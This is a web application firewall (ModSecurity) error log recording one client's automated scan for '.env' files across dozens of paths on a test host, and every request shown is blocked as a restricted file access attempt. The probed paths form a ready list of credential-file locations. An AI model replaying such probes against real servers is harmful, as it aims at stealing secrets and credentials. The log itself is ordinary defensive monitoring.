[Thu Feb 26 01:02:57.468373 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYgAAAAU&quot;]
[Thu Feb 26 01:02:57.468526 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYgAAAAU&quot;]
[Thu Feb 26 01:02:57.506415 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8b-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhwAAAAM&quot;]
[Thu Feb 26 01:02:57.506663 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhwAAAAM&quot;]
[Thu Feb 26 01:02:57.506828 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhwAAAAM&quot;]
[Thu Feb 26 01:02:57.572608 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /build/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PZQAAAAU&quot;]
[Thu Feb 26 01:02:57.572891 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PZQAAAAU&quot;]
[Thu Feb 26 01:02:57.573111 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PZQAAAAU&quot;]
[Thu Feb 26 01:02:57.591059 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chai/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiAAAAAM&quot;]
[Thu Feb 26 01:02:57.591332 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiAAAAAM&quot;]
[Thu Feb 26 01:02:57.591501 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiAAAAAM&quot;]
[Thu Feb 26 01:02:57.620809 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiQAAAAM&quot;]
[Thu Feb 26 01:02:57.621101 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiQAAAAM&quot;]
[Thu Feb 26 01:02:57.621271 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiQAAAAM&quot;]
[Thu Feb 26 01:02:57.646762 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkigAAAAM&quot;]
[Thu Feb 26 01:02:57.647094 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkigAAAAM&quot;]
[Thu Feb 26 01:02:57.647270 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkigAAAAM&quot;]
[Thu Feb 26 01:02:57.694077 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /charts/liveobjects/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiwAAAAM&quot;]
[Thu Feb 26 01:02:57.694360 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiwAAAAM&quot;]
[Thu Feb 26 01:02:57.694533 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkiwAAAAM&quot;]
[Thu Feb 26 01:02:57.743974 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chat-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjAAAAAM&quot;]
[Thu Feb 26 01:02:57.744243 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjAAAAAM&quot;]
[Thu Feb 26 01:02:57.744412 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjAAAAAM&quot;]
[Thu Feb 26 01:02:57.791070 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cardea/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbAAAAAU&quot;]
[Thu Feb 26 01:02:57.791365 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbAAAAAU&quot;]
[Thu Feb 26 01:02:57.791565 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cardea/backend/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbAAAAAU&quot;]
[Thu Feb 26 01:02:57.801264 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chiminey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjQAAAAM&quot;]
[Thu Feb 26 01:02:57.801525 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjQAAAAM&quot;]
[Thu Feb 26 01:02:57.801707 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjQAAAAM&quot;]
[Thu Feb 26 01:02:57.848835 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cdw-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbQAAAAU&quot;]
[Thu Feb 26 01:02:57.849109 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbQAAAAU&quot;]
[Thu Feb 26 01:02:57.849288 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cdw-backend/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbQAAAAU&quot;]
[Thu Feb 26 01:02:57.864279 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjwAAAAM&quot;]
